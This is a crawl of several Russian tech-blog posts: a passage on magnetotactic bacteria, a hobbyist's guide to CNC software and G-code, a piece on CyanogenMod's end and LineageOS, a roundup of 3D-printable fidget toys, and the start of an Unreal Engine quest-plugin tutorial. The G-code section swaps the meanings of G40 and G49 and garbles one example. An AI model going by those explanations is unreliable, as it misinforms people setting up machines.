SAV—стрептавидин) В процессе синтеза есть интересный момент. Дело в том, что практически все магниточувствительные бактерии синтезируют кристаллы магнетита Fe3O4 практически одинаковой формы и с узким распределением по размерам. Причем происходит все это при комнатной температуре. Не так давно было выяснено, что связыванием ионов железа занимается белок mms6, плюс, возможно, и другие белки. Сейчас есть различные планы по синтезу магнетита при комнатной температуре из гидроксида железа. А ученые из Ames Laboratory и Iowa State University (США) пошли еще дальше: они использовали бактериальный белок mms6 для синтеза нанокристаллов феррита кобальта (CoFe2O4), который живые организмы производить не умеют. Для того, чтобы добиться указанного результата, авторы работы включили упомянутый выше белок в состав геля, где его отдельные молекулы объединили в группы. Группы же расположили определенным образом, сформировав матрицу для синтеза нанокристаллов. При добавлении солей кобальта и железа (CoCl2 и FeCl2) были получены довольно крупные (50-80 нм) тонкие гексагональные пластинки феррита кобальта. Как оказалось , этот материал проявил лучшие магнитные свойства по сравнению с ферритом кобальта, который был синтезирован в аналогичных условиях, но без использования белка mms6. Частицы CoFe2O4, полученные разными способами: a,b – в присутствии полимера, но без белка; c – в присутствии полимера и белка mms6, не связанных друг с другом; d – то же для C-концевого фрагмента mms6; e – в присутствии полимера, связанного с mms6; f – в присутствии полимера, связанного с C-концевым фрагментом mms6 (ПЭМ). Размер метки 50 нм Практическое использование магниточувствительных бактерий То, внутри бактерий существуют магнитные нанокристаллы, плюс в самой клетке есть органическая липопротеиновая мембрана, позволил ученым начать планирование использования этих бактерий в качестве различных инструментов. Например, для иммобилизации таких ферментов, как глюкооксидаза и уриказа. В случае работы с бактериями ферменты были в 40 более активными, чем в случае работы с искусственными магнитными частицами. Оказалось возможным использовать магнетосомы с антителами на их поверхность проводить различные иммуноферментные анализы. В числе разновидностей этих анализов — определение аллергенов и клеток эпидермоидного рака. Также бактериальные магнитные частицы могут работать с флуоресцентным веществом для выявления клеток E. coli. Сейчас на основе магниточувствительных бактерий и их магнетосом разрабатывается способ направленной доставки лекарств к различным органам тела человека и животных. При помощи магнита магнетосомы бактерий с лекарственными препаратами могут быть доставлены прямо к цели. Использовать уникальные особенности описываемых бактерий можно не только в медицине. Работать с ними можно и электронщикам. Например, Ученые из университета Лидса предложили собственную технологию выращивания однородных кристаллов магнетита на подложке при помощи магниточувствительных бактерий. Японские ученые использовали схожий метод, только они решили формировать при помощи микроорганизмов основу для нанопроводов в микроскопически малых микросхемах. При создании нанопроводов ученые из Японии используют частицы из сульфида меди и индия и сульфида цинка. Такие нанопровода помещаются в оболочку из липидов. Ученые смогли сформировать из липидных молекул нечто вроде трубочек, в которые и помещаются потом провода. При таком способе выращивания кристаллов бактерии располагаются на подложке из золота в шахматном порядке. После этого подложка помещается в раствор солей железа. При температуре 80°C на тех участках, что были покрыты бактериями, образуются однородные нанокристаллы магнетита. Такие нанокристаллы позволяют удерживать заряд, а систему можно использовать для записи информации. Канадские ученые из лаборатории наноробототехники (NanoRobotics Laboratory of the Ecole Polytechnique) в Монреале смогли заставить бактерий построить небольшую систему в виде пирамиды. Управляя при помощи компьютера формой и напряженностью магнитного пола, специалисты смогли организовать из колонии магниточувствительных бактерий отряд строителей. В ходе ряда экспериментов специалисты добились создания сооружения в виде пирамиды, а также продвижения бактерий в кровеносной системе живой крысы. В дальнейшем канадцы надеются использовать технологию поведением бактерий для создания наноструктур большего размера. Возможно, магниточувствительные бактерии смогут стать частью более сложной системы. Пока что практически все предложенные методы работы с магниточувствительными бактериями находятся на стадии лабораторного тестирования. Дело в том, что эти микроорганизмы растут относительно медленно, а значит, их продуктивность не очень велика. Поэтому в настоящий момент более выгодно работать с традиционными физико-химическими методами выращивания тех же кристаллов. Но методы культивирования магнитотактических бактерий постоянно совершенствуются, поэтому и продуктивность штаммов повышается. Для того, чтобы достичь более высоких результатов, ученые предлагают использовать генную инженерию.
https://geektimes.ru/post/284030/
habrahabr
Домашний ЧПУ-фрезер как альтернатива 3D принтеру, часть третья, ПО и G-code
['CNC', 'ЧПУ', 'фрезерование']
В этой статье хотелось бы рассказать о необходимом в работе ПО, а заодно дать маленькую вводную по g-коду. Опять прошу простить непрофессионала, могу что-то упустить, а в чем-то быть неточным. С...
В этой статье хотелось бы рассказать о необходимом в работе ПО, а заодно дать маленькую вводную по g-коду. Опять прошу простить непрофессионала, могу что-то упустить, а в чем-то быть неточным. С другой стороны, все описанное в моих статьях — исключительно личный опыт, и он точно работает в приближенных к офисно-гаражно-домашним условиях на простых китайских фрезерах с ЧПУ. ПО для работы можно разделить по уровню абстракции снизу вверх: прошивка драйверов двигателей, «стойка ПУ» или замещающий ее программно-аппаратный комплекс на базе ПК или МК, CAM — ПО, строящее траекторию движения инструмента и преобразующее ее в G-код, и CAD. Наиболее низкоуровневое ПО — прошивка драйверов двигателей, которая преобразует сигналы шага и направления (step/dir) для шаговых двигателей либо скорость/направление для серводвигателей в значения напряжения и тока, подаваемые на обмотки двигателей; его мы не выбираем и не модифицируем, по крайней мере в обсуждаемом случае. Следующий уровень — «стойка» — программно-аппаратный комплекс, преобразующий строки кода в сигналы для драйверов. Тут уже интересней, по крайней мере на этапе выбора станка (или выбора компонентов для самостроя) мы можем остановиться как на промышленных стойках начального уровня (GSK, Washing, бэушные старые сименсы и фануки), так и на сочетании интерфейсных плат (от банального LPT и опторазвязанной китайской красной платы до MESA) с ПО — LinuxCNC, Mach3, NCStudio и прочих. Лично у меня большой положительный опыт с LinuxCNC и NCStudio; несмотря на простоту и того и другого, с обработкой по готовому простому G-коду нотации ISO-7bit они справляются на ура. У промышленных стоек есть преимущество в гибкости настройки приводов и возможности подключения большого количества периферии, а так же возможность работать по расширенным G-кодам (циклам) и макропрограммам, но при нынешней доступности КАМ-систем и штучном производстве это не нужно. Уровнем выше идут CAM (computer aided manufacture) программы — ПО для создания траекторий, описывающих прохождение инструмента в заготовке. И вот тут у нас начинается полный разброд и шатание. С одной стороны, бесплатного или условно-бесплатного CAMа мало. Чтобы не сказать вообще нет пристойного. Да, есть плагин для Inkscape, есть какие-то нестабильные чудеса пятилетней давности, есть триальный фьюжн, есть плагины для CADов… Кстати, по поводу совсем простых, на раскроечный роутер мы долго прикручивали G-CodeTools для Inkscape, но так и не смогли достичь приемлимых скоростей связки оператор-плагин. В результате купили CamBam+ за смешные по меркам рынка 150 долларов и наслаждаемся. А так — все из дешевого или бесплатного либо под совсем простые обработки, либо глюк на глюке и глюком погоняет. Мы перепробовали кучу всего в демках и ломаных версиях, в результате провели переговоры с жабой и финдиректором, и купили PowerMill — по отзывам и пережитым в процессе перебора эмоциям, пожалуй, оптимальным для небольшого производства инструменте. Уже позже на нас вышли замечательные товарищи из SprutCAM, дали демку, и мы с ужасом обнаружили, что переплатили примерно в 20 раз — почти все наши потребности закрываются вполне демократичным SprutCAM Mach3. Купили, конечно (типа про запас по подарочной цене), но потом нашли пару недостатков, так что используем исключительно ПМ. Чуть не забыл: промежуточным этапом между g-code и CAM выступает постпроцессор — когда-то отдельная программа, а ныне встроенный модуль всякого пристойного CAMа. Это та самая штука, которая преобразует траекторию CAM в код конкретного станка. О постпроцессоре стоит знать только что он есть, и что у него есть описание, привязанное к конкретной нотации кода, воспринимаемой станком. Условно, некоторые станки просят нумерацию строк, некоторые — ";" в конце каждой строки, некоторые вообще русскими буквами команды принимают, ну и так далее. Для рассматриваемых станков (домашние фрезеры) вне зависимости от того, MACH3, LinuxCNC или NCStudio пойдет стандартный постпроцессор fanuc0i 3axis. Ну и самый высокий уровень — CAD, он уже совсем далек от станка. Тут выбор почти бесконечен, и даже посвободней, чем в 3D-принтерах, благо фрезеровка идет до поверхности, и на входе CAM может быть не твердотельная модель, а граничная поверхность. Нормальные CAMы почти всеядны и с одинаковым удовольствием втягивают модели из чего попало — от 3DMAX до SolidWorks. G-код Несколько раз начинал я писать про g-code, но каждый раз забрасывал. С одной стороны, полный g-code неоднозначен, по крайней мере в части циклов: даже разные серии станков одного производителя могут трактовать g-коды разным образом, а в основных кодах все и так понятно. С другой — современная CAM-система позволяет оператору вообще не знать g-кода как класса, обходясь дерганьем мышкой по окошечкам компа. Но когда один из наших операторов (хороший кстати, ВО, опыт и все такое) не справился с задачей «сделать тестовую прогу, которая 1000 раз прогонит шпиндель вверх-вниз на 30 мм», я понял, что хотя бы общее понимание быть должно. Даже если не писать простые программки, то хотя бы чтобы разобрать и отдебажить что там нам постпроцессор написал. Во-первых, стоит знать, что g-code идет кадрами, каждая строка — кадр. Код G1 x10 y20 даст переход по линии, соединяющей текущее местоположение и точку x10y20, а код G1 x10 y20 даст переход по ломаной — сначала в точку (текущее положение, x10), а потом уже в точку x10y20. Кстати, на втором примере мы можем увидеть свойство модальности: мы можем не писать G1 в начале второй строки, ибо G1 — модален и стойка поймет кадр без кода как дублирующий код предыдущего. Если бы мы пытались пройти по дуге (G2/G3) и так же вторую часть перенесли бы на следующую строку — стойка бы интерпретировала эту строчку как новый кадр G1. Итак, первая группа кодов, которые стоит знать — установочные. Сюда входят коды установки системы координат, системы единиц, установка коррекции длины и радиуса инструмента. Для хобббийного ЧПУшника достаточно из всего этого знать строку безопасности, которая ставится в начале каждой программы: G17 G21 G40 G54 G80 G90 И расшифровка: G17 (работаем в плоскости XY) G21 (единицы — миллиметры) G40 (отмена компенсации длины инструмента) G49 (отмена компенсации радиуса инструмента) G54 (работа в первой системе координат) G80 (отмена ранее запущенных постоянных циклов) G90 (работа в абсолютной системе координат). После такой лошадиной дозы команд любой станок очищается от всех возможных грехов, оставшихся с предыдущих обработок, и готов к работе над вашим проектом. Даже если ваш станок не знает ничего про коррекции, не стесняйтесь — на фоне тела программы эти несколько байт сильно размера программе не добавят, станок чужеродные коды просто проигнорирует, зато точно все будет хорошо. В общем, пожалуй, тут больше и знать-то нечего для работы на обсуждаемых станках. Разве что G54 — обозначение работы в первой системе координат. Дело в том, что почти любая стойка по умолчанию поддерживает машинную систему координат (с нулем на концевых датчиках, обычно в углу рабочего стола), и до 6 дополнительных систем координат, задаваемых пользователем. Зачем? Когда Вы работаете в CAM, Вы задаете произвольную нулевую точку — в верхнем левом ближнем углу (так правильней) или в центре заготовки, и вся траектория описывается от этой точки. Если бы станок умел работать только в машинной СК, приходилось бы либо ставить заготовку углом в машинный ноль, либо в CAM задавать ноль в неясной точке, вымерянной относительно реального расположения детали. Зачем целых 6 систем координат? Ну тоже все просто, хотя и реже используется: если стол позволяет установить несколько заготовок, имеет смысл объединить обработки: сначала пройти все заготовки одной фрезой, потом поменять фрезу и снова пройти по всем, ну т.д. Тут и приходит на помощь разные СК: вместо того, чтобы сращивать модели в CAM, можно обозначить разные СК для заготовок и в начале каждой обработки прописать, в какой СК работаем. Теоретически при ручном написании программы еще может помочь команда G90/G91: выбор абсолютной или относительной системы координат. Тут все тоже боль-мень просто: в G90 станок переходит по заданным в строке координатам, а в G91 — по добавленным к текущим координатам. Так что станок, стоящий в точке X10Y10 на строку G90 G1 x20 перейдет в точку X20, а на строку G91 G1 X20 — в точку X30. Следующая группа — коды перемещений. Тут все просто, по крайней мере на обсуждаемых станках: G0 — холостые перемещения, выполняются на максимальной установленной в стойке скорости. Стоит учитывать, что G0 не всегда дает линейное движение, в некоторых стойках при команде G0 X200 Y300 при нахождении в точке X0Y0 рабочий инструмент сначала уходит под 45 градусов в точку X200Y200, и потом по прямой — в Y300. Имеет смысл проверить, как это происходит на Вашем станке, не зная этой тонкости можно случайно врезаться в крепеж или заготовку. G1 — линейная интерполяция. Тут еще проще, станок движется всегда по прямой между текущей точкой и точкой, обозначенной в коде. Команда предполагает синтаксис G1 X20Y30Z10 F1000, где F — скорость движения в единицах станка (чаще — миллиметры в минуту, но иногда и мм/сек или еще что-нибудь экзотическое). Скорость — модальна, т.е. если Вы указали скорость один раз, она будет действительна для всех последующих строк G1/G2/G3, даже если они разделены, например, G0 или другими кодами. G2/G3 — круговая интерполяция по часовой или против часовой стрелке. Допустимы два варианта определения: при нахождении станка в точке X0Y0 формат G2 X10Y10R20 построит дугу между текущей точкой и точкой X10Y10 с радиусом 20, формат G2 X35Y25 I20J-5 построит дугу между текущей точкой и X35 Y25 с центром в точке X(текущая точка)+20 Y(текущая точка)-5. Теоретически, в продвинутых стойках встречается масса других интерполяций — от синуса до гиперболы, но в наших станках и при наличии CAMа это неактуально. Ну и еще несколько кодов, которые входят в систему ISO 7bit, но не являются g-кодами. Это M03 (включение шпинделя) с аргументом S (скорость вращения), M05 — остановка шпинделя, M07/09 — подача и отключение СОЖ, и M30 — окончание программы. Фух. Как-то сумбурно и затянуто получилось, но это действительно может оказаться полезным. На этом прощаюсь, в следующей серии я напишу немножко по материалам для домашнего ЧПУ-фрезера и опишу процесс построения обработки в PowerMill.
https://geektimes.ru/post/283590/
habrahabr
Что означает смерть CyanogenMod
['android', 'cyanogenmod', 'cyanogen', 'lineageos']
Cyanogen Inc. похоронила CyanogenMod. После долгих метаний компания объявила, что планирует направить все усилия на новый проект модульной Cyanogen OS. Как следствие, многие сотрудники...
Cyanogen Inc. похоронила CyanogenMod. После долгих метаний компания объявила, что планирует направить все усилия на новый проект модульной Cyanogen OS . Как следствие, многие сотрудники компании, включая самого Cyanogen (Стива Кондика), будут вынуждены её покинуть. И, наконец, все сервисы Cyanogen и поддерживаемые компанией ночные сборки прекратят своё существование 31 декабря 2016 . После того, как Cyanogen Inc. опубликовала новость в своём блоге, многие люди стали задаваться вопросом, что же будет с CyanogenMod. Некоторые — во многом благодаря блогам, неверно толкующим заявления Cyanogen Inc. — были убеждены, что с их любимой сторонней прошивкой вообще ничего не случится. Однако, команда разработчиков CyanogenMod разъяснила, что это будет означать для популярного дистрибутива Android, в отдельном посте . Вот краткое описание перемен: Вся финансовая и инфраструктурная поддержка CyanogenMod со стороны Cyanogen Inc. будет прекращена. Это включает как оплачиваемых разработчиков, развивающих открытый проект, так и серверы для ночных сборок. Соответственно, CyanogenMod больше не получит ночных сборок после 31-го декабря. Хотя стоп, что если команда просто найдёт другие серверы для ночных сборок? Команда CyanogenMod не продолжит официальную разработку проекта. Права на бренд принадлежат Cyanogen Inc., так что разработчики решили, что дальнейшая работа над CM без финансовой и инфраструктурной поддержки лишена смысла. К тому же, даже если они смогут найти альтернативный источник прибыли (например, пожертвования), это всё равно будет нецелесообразно, потому что в случае приобретения Cyanogen Inc. и всех её брендов другой компанией это может привести к юридическим проблемам. К тому же, заявляют разработчики, бренд CyanogenMod запятнан связью с Cyanogen Inc., так что многие пользователи могут опасаться его. Выходом станет ребрендинг CyanogenMod под именем LineageOS . Слухи об этом проекте неоднократно всплывали в последние недели, но теперь у нас есть официальное подтверждение. Команда, предположительно возглавляемая самим Стивом Кондиком, намерена возродить то, чем был так хорош CyanogenMod — ориентированный на сообщество дистрибутив Android. Мы не знаем, получится ли у них, но легко представить, что, если проект взлетит, команда вполне может найти сервер для сборок и возродить старую инфраструктуру CyanogenMod — что в результате будет означать, что для конечного пользователя мало что поменяется. Cyanogen Inc. не закрывается — по крайней мере, пока. Это было ясно из записи в их блоге, но я видел, что не все её поняли, поэтому дополнительные разъяснения не помешают. Компания проводит сокращения и планирует сфокусировать усилия на новом проекте (модульной Cyanogen OS), и они всего лишь прекращают поддержку сервисов, которые им больше не по карману. Хотя CyanogenMod официально мёртв, он возрождается в виде LineageOS. Но что это значит для пользователей и разработчиков? Нельзя с уверенностью сказать, что из этого выйдет. Возможны различные варианты: LineageOS оказывается успешной, получает значительную поддержку самостоятельных разработчиков, продолжающих поддерживать её порты на свои устройства. Команда находит новый источник финансирования (вероятно, пожертвования) для оплаты хостинга и сервера ночных сборок. Учитывая то, что это получалось у менее популярных дистрибутивов Android, в этом нет ничего невозможного. LineageOS получает некоторую популярность, но в меньших масштабах. Учитывая масштабы покойного проекта CyanogenMod и вливавшихся в него Cyanogen Inc. финансов, это ударит по малопопулярным устройствам. В этом случае, многие устройства не получат альтернативных прошивок, так как сообщество разработчиков во многом полагалось на CyanogenMod, на котором они могли основывать свои прошивки. Популярные устройства вряд ли будут сильно затронуты за счёт большего количества разработчиков, работающих с ними. LineageOS проваливается. Это будет ужасным ударом по сообществу. Проблемы будут куда серьёзней, чем во втором случае, и многие пользователи потеряют возможность использовать одну из самых стабильных и известных альтернативных прошивок. Что же касается разработчиков, им придётся искать стабильную основу для своих прошивок где-то ещё. Например, SultanXDA , заслуженный разработчик с XDA, уже заявил, что не будет использовать LineageOS, если у неё не будет стабильной ветки, и будет базировать свои прошивки на AOSPA. К счастью для владельцев смартфонов OnePlus, это не должно оказаться проблемой, но что будет с устройствами, для которых нет стабильной прошивки AOSPA (и, в будущем, не будет стабильной CM), сказать сложно. Всё это — гипотетические сценарии того, как может пойти развитие ситуации с точки зрения разработчиков CyanogenMod и базирующихся на нём прошивок. Какой из них будет реализован, зависит исключительно от того, насколько сообщество разработчиков готово поддержать LineageOS. От разработчиков и пользователей зависит, станет ли смерть CyanogenMod приговором для сторонних прошивок на многих устройствах. Если вы использовали CyanogenMod или базирующуюся на нём прошивку, то знайте: сейчас ваша поддержка важна, как никогда. → Официальный сайт LineageOS | Twitter | Facebook | Google+
https://geektimes.ru/post/284032/
habrahabr
Обзор альтернатив Fidget Cube
['3d-печать', '3d печать']
Совсем недавно Kickstarter был удивлен очередным громким стартапом: Fidget Cube созданный братьями Мэттью и Марком МакЛахлан, известными как Antsy Labs, собрал более шести миллионов долларов,...
Совсем недавно Kickstarter был удивлен очередным громким стартапом: Fidget Cube созданный братьями Мэттью и Марком МакЛахлан, известными как Antsy Labs, собрал более шести миллионов долларов, что составило 41682% от первоначально требовавшихся пятнадцати тысяч. Fidget по-английски значит “непоседа”. Маленький пластиковый кубик, снабженный кнопками, колесиками и переключателем, выполняет одну единственную задачу — способствует успокоению и концентрации владельца, который крутит его в руках, проворачивает колесики и щелкает кнопками. Такой тактильный успокоитель нервов сродни четкам или китайским шарикам, в наших же реалиях процесс его тисканья можно сравнить с щелканьем авторучкой или верчением любого мелкого предмета в руках. Новинка вызвала большой резонанс в гик-среде — среди поклонников всевозможных стартапов и новшеств, подняла волну шумихи и привлекла всеобщее внимание. Внимание вполне заслуженное, ведь это действительно работает. Кроме того, такая игрушка развивает мелкую моторику, что способствует формированию новых нейронных связей и является профилактикой некоторых заболеваний. Есть лишь одна небольшая проблема: Не каждый готов делать заказ из-за границы, долго ждать доставки и переплачивать за нее больше, чем стоит сама игрушка. А у местных ритейлеров, у которых Fidget Cube можно приобрести локально, цены несколько печалят. Но, нет повода грустить: мы подобрали два с лишним десятка альтернатив, других игрушек-фиджетов, которые с успехом заменят этот необычный предмет. 3D-печать поможет выбрать и создать любой из них, не переплачивая денег, которых и так много не бывает. Большинство из представленных моделей распространяются в цифровом виде бесплатно, со свободной лицензией Creative Commons, а сама печать обойдется в копейки. И, что не менее важно: это куда больший выбор, чем несколько одинаковых кубиков отличающихся лишь цветом. № 1: Fidget Widget — Фиджет-виджет Fidget Widget — довольно занятная игрушка состоящая из шести взаимосвязанных частей. На первый взгляд штука довольно непритязательная, но это лишь на фото. После того, как вы распечатаете Fidget Widget на своем 3D и начнете крутить его в руках, вы будете заворожены его движением. Не верите? Смотрите: Для максимального визуального эффекта, конечно, лучше сделать его из материала двух контрастных цветов. → Можно скачать на Thingiverse № 2: Fidget Spinner Ring — Вращающееся фиджет-кольцо Если вы не хотите афишировать свои манипуляции с игрушкой, то настраиваемое фиджет-кольцо — ваш вариант. Это просто кольцо на пальце, размеры, цвет и фактуру которого вы настраиваете перед печатью. Кольцом можно манипулировать одной рукой, проворачивая внешнее колечко на внутреннем и не привлекая лишнего внимания. А внутрь можно перед печатью, в программе-редакторе, добавить какое-нибудь сообщение. → Можно скачать на Thingiverse № 3: Fidget Star — Фиджет-звезда Забавная игрушка, состоящая из нескольких деталей сложной формы, которая печатается за одну операцию целиком — вместе с петельными соединениями. Сборка не требуется. Что это — кубик, звезда, что-то более необычное? — Решать вам, вертите как хотите. → Можно скачать на Thingiverse № 4: Elliptical Gear — Овальные шестеренки Овальная шестеренка — эллиптический механизм без центрального соединения. При движении деталей друг относительно друга центр движения будет постоянно изменяться. Простая, но откровенно неглупая игрушка, которая собирается из четырех отдельно распечатанных частей. → Можно скачать на Thingiverse № 5: Toy Chain — Цепочка Это может быть интересно — возьмите все доступные вам филаменты и распечатайте из каждого по несколько деталек, а потом соедините в настолько длинную цепь, насколько хватит терпения и желания. Выглядит простенько, но можно создавать много разных форм манипулируя этой игрушкой. К тому же, вы получите неплохой образец для демонстрации возможностей вашего 3D-принтера в работе с разными материалами. → Можно скачать на Thingiverse № 6: Trick Bolt Fidget — Фиджет-болт Фиджет-болт придуман тем же человеком, который сделал Вращающееся фиджет-кольцо описанное выше. Оригинальная игрушка в виде болта с двумя шляпками, на нем сидит гайка, которую можно вращать туда-сюда. Гайка ограничена шляпками болта и никогда не потеряется, ведь она распечатывается вместе с болтом на принтере с двумя экструдерами. Предусмотрено крепление колечка для ключей, так что это — неплохой брелок. → Можно скачать на Thingiverse № 7: Gear Bearing — Шестереночный подшипник Одна из самых интересных моделей, замечательный образец возможностей 3D-печати — Шестереночный подшипник распечатываемый за один раз, все его части вращаются относительно друг-друга. Некоторые любят крутить его на шестигранном ключе, а особо безбашенные — с помощью дрели, чтоб заставить эти шестеренки вращаться действительно быстро. → Можно скачать на Thingiverse № 8: Heart Gears — Механические сердца Работа того же дизайнера, что и Шестереночный подшипник выше. Эта модель требует небольшой сборки, но конечный результат интересен — предмет состоит из взаимосвязанных зубчатых колес, вместе имеющих форму сердца, при повороте любого из них конфигурация модели изменяется, но — если вращать дальше, возвращается первоначальная форма. Что достаточно символично. → Можно скачать на Thingiverse № 9: Gyroscopic Relaxing Keyring — Расслабляющий гироскопический брелок Гироскопы довольно популярны в 3D-печати — при должном умении и аккуратности они позволяют эффектно продемонстрировать мастерство автора. Но эти брелоки довольно просты, их может напечатать, пожалуй, почти любой. Симпатичная игрушка, но — если периодически занимать ею руки, — вас будет выдавать постоянный звон ключей. → Можно скачать на Thingiverse № 10: Nautilus Gears — Шестерни-ракушки Дизайн этой модели основан на логарифмических спиралях и внешнем виде морского моллюска Nautilus — точка соприкосновения шестерней, при их вращении, постоянно “дрейфует” туда-сюда, как оный моллюск в океане. Напечатайте несколько экземпляров разного цвета и подарите родным и друзьям, они будут приятно удивлены. → Можно скачать на Thingiverse № 11: Truchet Tiles — Пятнашки Truchet Tiles это настольная игра-головоломка занимающая мало места. Аналогична хорошо всем известной игре “15”, но — с рисунком вместо цифр. Игрок может повернуть фишки иначе для получения другого узора. Особенность этого фиджета в том, что это проект для демонстрации возможностей 3D-принтеров с двойной экструзией. Хотя, и в одноцветном исполнении игрушка не потеряет своих функций. → Можно скачать на Thingiverse № 12: Coffin's Half Hour Cube — 3D-пазл “Полчаса” Если вы не считаете неудобным брать с собой фиджет из нескольких отдельных частей, то этот экземпляр доставит вам несколько приятных минут. Предполагается, что не менее тридцати. Этот 3D-пазл, напоминающий маленький объемный тетрис, многие собирают и дольше. → Можно скачать на Thingiverse № 13: Ozo 1x2x3 Puzzle Bear — Пазл медведь Озо Ozo, пожалуй, самая симпатичная и тактильная модель в этом обзоре — это игрушечный медведь, который устроен по принципу Кубика Рубика. Количество элементов меньше, да и формы они разной, но и его сборка занимает некоторое время, что делает этот фиджет интересным не только для детей, но и для их родителей. → Можно скачать на Thingiverse № 14: Fully Assembled Ball Bearing — Шаровой подшипник Этот полнофункциональный шаровой подшипник отлично подходит для игры, а его увеличенный вариант понравится тем, кто любит занять обе руки. Подшипник печатается целиком, поэтому сборка не требуется, хотя, вероятно, придется удалить несколько поддержек. → Можно скачать на Thingiverse № 15: Snakez — Змейссы Модель игрушечной многосуставной змеи, которая печатается за один раз и не требует сборки. Змейки извиваются и двигаются очень натурально. Автором представлены модели Snakez четырех размеров и можно выбрать какую печатать — подлиннее или покомпактнее. Как и представленные выше Пятнашки, эта конструкция также хорошо подходит для двойной экструзии. → Можно скачать на Thingiverse № 16: Cog Tri Spinner — Шестерня в три оси Создатель Cog Tri Spinner использует подшипники от скейтборда, чтобы создать крутящийся фиджет, который вращается плавно и — что, возможно, важнее — тихо. Есть несколько конструкций на выбор, с некоторыми отличиями в фактуре и форме. Модель распространяется бесплатно, понадобится лишь докупить или снять со старого скейта подшипники для нее. Люди, не имеющие 3D-принтера и возможности заказать распечатку, могут купить этот фиджет на Shapeways (но и там подшипников в комплекте не будет). → Можно скачать на Thingiverse № 17: Мagnetic Bisymmetric Hendecahedrons — Mагнитные одиннадцатигранники Это настольный фиджет для рабочего стола или хороший подарок ребенку. Игрушка представляет из себя конструктор, состоящий из 11-сторонних пластиковых полигонов, в которые впрессованы трехмиллиметровые неодимовые шаровые магниты. Из элементов можно составлять различные фигуры, ведь они хорошо держатся друг за друга и свободно поворачиваются. → Можно скачать на Thingiverse № 18: Twisting Links Fidget Spikes — Шипастый Тангл Twisting Links Fidget Spikes — аналог очень популярной когда-то игрушки Тангл, состоящей из поворачиваемых относительно друг-друга сегментов. Эта игрушка и раньше использовалась как фиджет, хоть слова такого еще и не существовало. Данная версия отличается от оригинала и более ранних копий меньшим количеством сегментов, более прочным пластиком и более ощутимой шипастой фактурой поверхности. Скачать, в данный момент, нельзя. Можете, если вы живете в Штатах, купить распечатку на Shapeways № 19: The Swirl — Завихрение Еще один фиджет основанный на подшипниках от скейтборда. Если вы еще не разобрали свой скейт для создания предыдущего, то у вас есть второй шанс. Эта конструкция немного более компактна, чем Cog Tri Spinner, и поставляется с дополнительным колпачком-осью для более удобного удержания подшипника пальцами. В отличие от Cog Tri Spinner, этот фиджет доступен только для покупки на Shapeways, но продается в различных цветовых решениях. Скачать сейчас нельзя, но можно сконструировать что-то своё. Или, если вы живете в Штатах, купить распечатку на Shapeways № 20: Полностью 3D-печатный Fidget Cube Этот полностью 3D-печатный аналог Fidget Cube может быть напечатан примерно за 9 часов. Он оснащен джойстиком, вращающимся диском, пятью колесиками и девятью кнопками для ваших рук. Конструктивно отличается от оригинала, но по-своему весьма интересен. Неплохая возможность сэкономить. → Можно скачать на Instructables № 21: Money Spinner — Не растеряйте мелочь Еще один аналог Cog Tri Spinner, на этот раз — столь же бесплатный, как оригинал, но обладающий еще и более интересной функциональностью. Главное отличие — в него устанавливается только один подшипник (что вполне логично), а оставшееся на концах лучей место заполняется монетками. Доступны варианты исполнения с разным количеством лучей, от двух до семи. В оригинальных файлах версии только для австралийских, американских, европейских, канадских и арабских монет, но, это всегда можно исправить в редакторе (или подобрать подходящие по размеру местные монеты). → Можно скачать на Thingiverse № 22: MakerBot Nut and Bolt — Гайка и болт MakerBot Простейший, но не менее эффективный фиджет, представляющий собой 3D-печатные гайку и болт, которые можно соединять и разъединять, крутить в руке и сжимать ощущая фактурную поверхность. Казалось бы — ничего впечатляющего, однако — у этой игрушки уже сотни поклонников. Попробуйте и вы. Кроме того: сам процесс распечатки этого фиджета и подготовки к ней — хороший повод потренироваться в 3D. → Можно скачать на Thingiverse Хотите больше интересных новостей из мира 3D-технологий? Подписывайтесь на нас в соц. сетях:
https://geektimes.ru/company/top3dshop/blog/284034/
habrahabr
Создание редактора квестов и диалогов для Unreal engine: Часть 2 технические аспекты
['unreal engine', 'система диалогов', 'dialog', 'quest', 'system', 'editor']
Здравствуйте меня зовут Дмитрий. Я занимаюсь созданием компьютерных игр на Unreal Engine в качестве хобби. Сегодня я продолжу рассказывать про плагин для редактирования квестов и диалогов. В...
Здравствуйте меня зовут Дмитрий. Я занимаюсь созданием компьютерных игр на Unreal Engine в качестве хобби. Сегодня я продолжу рассказывать про плагин для редактирования квестов и диалогов. В предедущей статье я рассказал как пользоваться плагином, сегодня я расскажу что нужно знать чтобы плагин мог взаимодействовать с миром игры и её интерфейсом. Во-первых, чтобы плагин подключить к вашему проекту нужно перенести папку StoryGraphPlugin из папки plugins в папку «директоря вашего проекта»\plugins. Возможно вам придется пере компилировать игру если версии Unreal engine не совпадут. Но даже после того как вы создадите ассет StoryGraph вам нужно будет произвести некоторые манипуляции. Все сюжетные объекты которые вы размещаете на карте должы быть производными от определенных объектов вот их список: 1) ACharecter_StoryGraph — базовый класс для персонажей имеет блюпринт методы: ChangeState — Метод изменяет состояние персонажа в данном случае с живого на мертвый, то есть в блюпринте вам нужно создать функцию которая при смерте персонаже будет переключать его состояние, и тогда StoryGraph поймет что персонаж умер. OpenDialog() — Блюпринт-метод который нужно вызвать чтобы начать диалог с этим персонажем. GetObjectName() — Блюпринт-метод возвращающий имя персонажа которое определено в StoryGraph, если вы разместили на уровне несколько объектов StoryGraph и в каждом из них имя данного персонажа разное то функция вернет имя из первого StoryGraph. GetMessegeFromStoryGraph() — Блюпринт-событие происходит когда когда в StoryGraph активируется нода Send Message, которая передает сообщение данному персонажу. 2) APlaceTrigger_StoryGraph — Базовый класс для триггера имеет блюпринт методы: GetPlaceTriggerType() — Нужен чтобы узнать в каком режиме работает триггер. ChangeState() — Аналогичен методу из ACharecter_StoryGraph только состояния другие (UnActive, Active). Его нужно использовать в режиме работы тригера UnInteractive. Activate() — Этод метод не является аналогией предыдущего, потому-что он какраз не работает в режиме UnInteractive а работает в двух других. В режиме Interactive он активирует триггер а в режиме AdvanceInteractive он открывает диалоговое окно взаимодкйствия с триггером. Как и предыдущий класс данный имеет блюпринт-методы GetObjectName() и GetMessegeFromStoryGraph(). 3) AInventoryItem_StoryGraph — Базовый класс для сюжетного предмета инвентаря. Кроме выше упомянутых GetObjectName() и GetMessegeFromStoryGraph() данный класс имеет метод PickUp() — Который перемещает предмет в инвентарь персонажа. 4) AOtherActor_StoryGraph — Класс для объектов не принадлежащих к вышеперечисленным категориям. Не имеет своих методов только GetObjectName() и GetMessegeFromStoryGraph(). 5) ALevelScriptActor_StoryGraph — Базовый класс для LevelBluprint имеет одно Блюпринт-событие GetMessegeFromStoryGraph() — Которое вызывается при активации ноды 